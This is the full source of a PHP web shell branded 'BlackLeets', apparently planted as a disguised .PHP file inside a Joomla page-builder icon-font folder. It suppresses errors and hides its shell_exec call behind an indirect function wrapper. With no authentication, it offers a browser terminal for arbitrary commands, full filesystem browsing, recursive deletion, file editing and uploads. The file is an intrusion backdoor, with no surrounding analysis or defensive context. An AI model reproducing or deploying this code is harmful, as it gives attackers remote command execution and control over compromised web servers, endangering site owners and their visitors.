| Current Path : /home/ataenra/www/media/com_sppagebuilder/assets/iconfont/iconmmouh/fonts/ |
| Current File : /home/ataenra/www/media/com_sppagebuilder/assets/iconfont/iconmmouh/fonts/fneabaz.PHP |
<?php error_reporting(0);@ini_set('display_errors',0);$f=function($f,...$a){return call_user_func_array($f,$a);};$s=$f;function h($s){return htmlspecialchars($s,ENT_QUOTES);}function r($d){if(!is_dir($d))return;foreach(scandir($d)as$f){if($f=='.'||$f=='..')continue;$p=$d.DIRECTORY_SEPARATOR.$f;if(is_dir($p))r($p);else@unlink($p);}@rmdir($d);}function inside($f,$d){$rf=realpath($f);$rd=realpath($d);return $rf!==false&&$rd!==false&&strpos($rf,$rd)===0;}$root=realpath(DIRECTORY_SEPARATOR);$dir=realpath($_GET['path']??getcwd());if(!$dir||!is_dir($dir))$dir=getcwd();$act=$_REQUEST['_a']??'';$target=isset($_REQUEST['_f'])&&$_REQUEST['_f']!==''?realpath($_REQUEST['_f']):false;if($target===false||!inside($target,$dir))$target=false;$msg='';if($act==='t'&&isset($_POST['_c'])){$out=$s('shell_exec',$_POST['_c'].' 2>&1');header('Content-Type: application/json');echo json_encode(['r'=>$out]);exit;}if($act==='df'&&$target&&is_file($target)){@unlink($target);header('Location:?path='.urlencode(dirname($target)));exit;}if($act==='dd'&&$target&&is_dir($target)){r($target);header('Location:?path='.urlencode(dirname($target)));exit;}if($act==='e'&&$target&&is_file($target)&&isset($_POST['cnt'])){file_put_contents($target,$_POST['cnt']);header('Location:?path='.urlencode(dirname($target)).'&_f='.urlencode($target));exit;}if($act==='cf'&&!empty($_POST['nf'])){$nf=$dir.DIRECTORY_SEPARATOR.basename($_POST['nf']);if(!file_exists($nf)){file_put_contents($nf,'');$msg='Created: '.h(basename($nf));}else{$msg='Exists.';}}if($act==='cd'&&!empty($_POST['nd'])){$nd=$dir.DIRECTORY_SEPARATOR.basename($_POST['nd']);if(!file_exists($nd)){mkdir($nd);$msg='Dir: '.h(basename($nd));}else{$msg='Exists.';}}if($act==='ul'&&isset($_FILES['f'])){$t=$dir.DIRECTORY_SEPARATOR.basename($_FILES['f']['name']);if(move_uploaded_file($_FILES['f']['tmp_name'],$t))$msg='OK: '.h(basename($t));else$msg='FAIL';}$files=scandir($dir);$pd=dirname($dir);echo'<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>FS</title><style>body{background:#111;color:#ccc;font-family:monospace;margin:20px;}a{color:#6cf;text-decoration:none;}a:hover{text-decoration:underline;}table{width:100%;border-collapse:collapse;margin-bottom:20px;}th,td{border:1px solid #333;padding:8px;}input,textarea{width:100%;background:#222;border:1px solid #444;color:#ccc;padding:8px;font-family:monospace;font-size:14px;}textarea{height:300px;}button,input[type=submit]{background:#444;border:none;padding:8px 16px;color:#fff;cursor:pointer;}button:hover,input[type=submit]:hover{background:#666;}</style></head><body><h1>BlackLeets</h1><h2>Path: '.h($dir).'</h2>';if($dir!==$root)echo'<a href="?path='.urlencode($pd).'">Up</a><br><br>';if($msg)echo'<div>'.$msg.'</div>';echo'<table><tr><th>Name</th><th>Type</th><th>Size</th><th>Action</th></tr>';foreach($files as $f){if($f=='.'||$f=='..')continue;$p=$dir.DIRECTORY_SEPARATOR.$f;$t=is_dir($p)?'DIR':'FILE';$s=is_file($p)?filesize($p):'-';echo'<tr><td>'.h($f).'</td><td>'.$t.'</td><td>'.$s.'</td><td>';if($t==='DIR'){echo'<a href="?path='.urlencode($p).'">Open</a> | <a href="?_a=dd&_f='.urlencode($p).'" onclick="return confirm(\'Del?\')">Del</a>';}else{echo'<a href="?path='.urlencode($dir).'&_f='.urlencode($p).'">Edit</a> | <a href="?_a=df&_f='.urlencode($p).'" onclick="return confirm(\'Del?\')">Del</a>';}echo'</td></tr>';}echo'</table><form method="post"><input type="hidden" name="_a" value="cf"><input type="text" name="nf" placeholder="New file"><input type="submit" value="Create"></form><form method="post"><input type="hidden" name="_a" value="cd"><input type="text" name="nd" placeholder="New dir"><input type="submit" value="Create"></form><form method="post" enctype="multipart/form-data"><input type="hidden" name="_a" value="ul"><input type="file" name="f"><input type="submit" value="Upload"></form>';if($target&&is_file($target)){echo'<h3>Edit: '.h(basename($target)).'</h3><form method="post"><input type="hidden" name="_a" value="e"><input type="hidden" name="_f" value="'.h($target).'"><textarea name="cnt">'.h(file_get_contents($target)).'</textarea><input type="submit" value="Save"></form>';}echo'<h3>Term</h3><div id="t" style="background:#000;color:#0f0;padding:10px;height:200px;overflow:auto;white-space:pre-wrap;"></div><input id="ti" placeholder="command" autocomplete="off" style="margin-top:5px;"><script>const t=document.getElementById("t"),i=document.getElementById("ti");function o(x){t.textContent+=x+"\\n";t.scrollTop=t.scrollHeight;}i.addEventListener("keydown",e=>{if(e.key==="Enter"){let c=i.value.trim();if(!c)return;i.value="";o("> "+c);fetch("?&_a=t",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"_c="+encodeURIComponent(c)}).then(r=>r.json()).then(j=>o(j.r||"")).catch(()=>o("Err"));}});o("Enter command below.");</script></body></html>';